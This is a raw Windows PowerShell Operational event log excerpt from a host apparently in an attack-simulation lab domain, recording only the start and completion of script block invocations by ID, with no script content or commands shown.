Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988321 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988320 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988319 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988318 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988317 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988316 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988315 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988314 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988333 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988332 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988331 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988330 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988329 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988328 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988327 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988326 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988325 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:47 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988324 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988343 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988342 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988341 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988340 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988339 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988338 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988337 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988336 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988335 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988334 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988353 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988352 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988351 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988350 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988349 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988348 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988347 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988346 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988345 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988344 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988363 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988362 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988361 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988360 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988359 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988358 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988357 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988356 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988355 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988354 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988373 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988372 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988371 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988370 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988369 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988368 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988367 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988366 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:09 PM 